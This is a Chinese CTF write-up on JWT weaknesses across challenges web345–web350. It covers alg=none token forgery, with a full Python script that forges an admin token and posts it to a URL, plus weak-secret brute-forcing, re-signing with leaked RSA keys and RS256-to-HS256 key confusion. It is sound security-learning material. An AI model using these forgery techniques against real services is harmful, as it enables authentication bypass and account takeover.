目录
jwt简介
web345:
web346:
web347:
web348:
web349:
web350:
jwt简介
JSON Web Token(JWT)通常由三部分组成
- Header(头部):包含了两部分信息:令牌的类型(即JWT)以及所使用的签名算法(例如HMAC SHA256或RSA)。
- Payload(载荷):也称为Claims。包含了要传输的信息,以及其他元数据。Claims分为三种类型:注册的(registered)、公共的(public)和私有的(private)。注册的Claims包括标准化的Claims(例如:iss(签发者)、exp(到期时间)、sub(主题)等),公共的Claims可以自定义,但建议使用预定义的键,私有的Claims则是用户自定义的键值对。
- Signature(签名):使用Base64编码的Header和Payload以及一个秘钥(secret)进行加密生成的签名,用于验证消息的完整性以及确认发送者的身份。
简单地说jwt就是一串字符串,类似于序列化这种,把用户的信息保存在字符串里
JWT
全称是JSON Web Token
,如果从字面上理解感觉是基于JSON
格式用于网络传输的令牌。实际上,JWT
是一种紧凑的Claims
声明格式,旨在用于空间受限的环境进行传输,常见的场景如HTTP
授权请求头参数和URI
查询参数。JWT
会把Claims
转换成JSON
格式,而这个JSON
内容将会应用为JWS
结构的有效载荷或者应用为JWE
结构的(加密处理后的)原始字符串,通过消息认证码(Message Authentication Code
或者简称MAC
)和/或者加密操作对Claims
进行数字签名或者完整性保护。
总的来说,JWT
其实有两种实现,基于JWE
实现的依赖于加解密算法、BASE64URL
编码和身份认证等手段提高传输的Claims
的被破解难度,而基于JWS
的实现使用了BASE64URL
编码和数字签名的方式对传输的Claims
提供了完整性保护,也就是仅仅保证传输的Claims
内容不被篡改,但是会暴露明文。目前主流的JWT
框架中大部分都没有实现JWE
web345:
这一题没有理解到是什么意思,抓包得到cookie
这个数据并没有签名,只有头部和载荷
{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1712019048,"exp":1712026248,"nbf":1712019048,"sub":"user","jti":"1d066a8d6628e359da77edcd6fb2a7ce"}]
alg表示加密方式,这里并没有,正常情况下是hash256的话应该是这样的
查看源代码能看到有admin页面,但是访问以后重定向回了index页面
把刚才那些数据拿到jwt加密解密网站去
将加密数据改为hs256,即可
访问admin获得flag,猜测这里应该就是因为没有签名所以最开始访问不了
web346:
JWT支持把算法设置为无(none),即alg=none的时候签名就会为空,这时候任何token都是有效的,此设定的功能原本是为了方便开发人员调试,如果开发者不严谨,上线服务以后并没有关闭此功能的话,就会造成使用任何伪造的token登录网站。
这里其实可以不用脚本去做,只是最近在博主在练习写脚本的能力
import jwt
import requests
class Payload(object):
def __init__(self, url):
self.url = url
self.__jwt_dict = {
"iss": "admin",
"iat": 1712025870,
"exp": 1712033070,
"nbf": 1712025870,
"sub": "admin",
"jti": "197a8236998a443b7251012ac9e1497e"
}
self.__jwt_header = {
"alg": "none",
"typ": "JWT"
}
def encode(self):
jwt_token = jwt.encode(self.__jwt_dict, # 有效载体
'', # 加密密匙
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=self.__jwt_header
)
cookies = {
'auth': jwt_token
}
return cookies
def requests(self, jwt_token):
re = requests.post(url=self.url, cookies=jwt_token)
print(re.text)
def main():
url = input('请输入url:')
a = Payload(url)
b = a.encode()
a.requests(b)
if __name__ == '__main__':
main()
web347:
这个环境说是弱口令,尝试admin,123456,这些啊最终确定为123456
修改对称密匙和sub即可
web348:
这一题还是相同的,通过字典爆破私钥
这里我是用的是jwt_gui是一款图形化的简单爆破工具
Releases · Aiyflowers/JWT_GUI (github.com)
web349:
从备份文件来看存在两个文件并且是rs256加密,从这里来看,这两个应该就是公钥和私钥了。
在网上找什么jwt解密呀就有,将公钥和私钥填进去改,user改为admin
然后post传参将修改好的数据post传参上去
这里得随便写点数据不然发不出去
抓包修改即可
web350:
这一题同样有公钥泄露
简单介绍一下
- 非对称加密使用一对密钥:公钥和私钥。公钥用于加密数据,私钥用于解密数据;私钥用于签名数据,公钥用于验证签名。常见的非对称加密算法包括RSA、DSA(数字签名算法)和ECC(椭圆曲线密码学)等。
这一题利用到了当可以拿到公钥的时候利用修改alg为HS256将数据修改为对称加密,并且因为我们拿到了公钥,通过这些编码以后上传给服务器,服务器也会判断为对称加密,这时就会都用公钥就能成功实现
还是post传入就能实现